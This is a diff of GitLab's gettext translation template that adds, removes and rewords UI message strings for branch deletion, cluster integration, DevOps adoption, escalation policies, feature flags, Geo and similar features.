msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
